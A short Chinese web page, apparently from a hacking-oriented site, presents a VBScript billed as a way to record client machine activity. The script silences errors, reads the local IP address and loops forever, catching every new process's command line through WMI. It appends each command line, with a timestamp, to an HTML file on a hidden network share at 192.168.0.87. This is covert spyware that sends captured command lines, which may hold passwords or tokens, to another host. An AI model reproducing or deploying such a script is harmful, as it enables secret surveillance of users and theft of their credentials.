记录客户机操作的vbs脚本

on error resume next

strComputer = “.”

Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2”)

Set IPConfigSet = objWMIService.ExecQuery _

(“Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE”)

For Each IPConfig in IPConfigSet

If Not IsNull(IPConfig.IPAddress) Then 

For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)

a=IPConfig.IPAddress(i)

Next

End If

Next

strComputer = “.”

Set objWMIService = GetObject(“winmgmts:” _

& “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)

Set colMonitoredProcesses = objWMIService. _ 

ExecNotificationQuery(“select * from __instancecreationevent ” _ 

& ” within 1 where TargetInstance isa ‘Win32_Process'”)

i = 0

Do While i = 0

Set objLatestProcess = colMonitoredProcesses.NextEvent

b=objLatestProcess.TargetInstance.CommandLine

set fso=createobject(“scripting.filesystemobject”)

set file1=fso.opentextfile(“\\192.168.0.87\ourway$\ourway.htm”,8,true)

file1.writeline now() & “—” & a & “—” & b & “<hr>”

file1.close

Loop 

声明：本站（华域联盟www.cnhackhy.com）所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。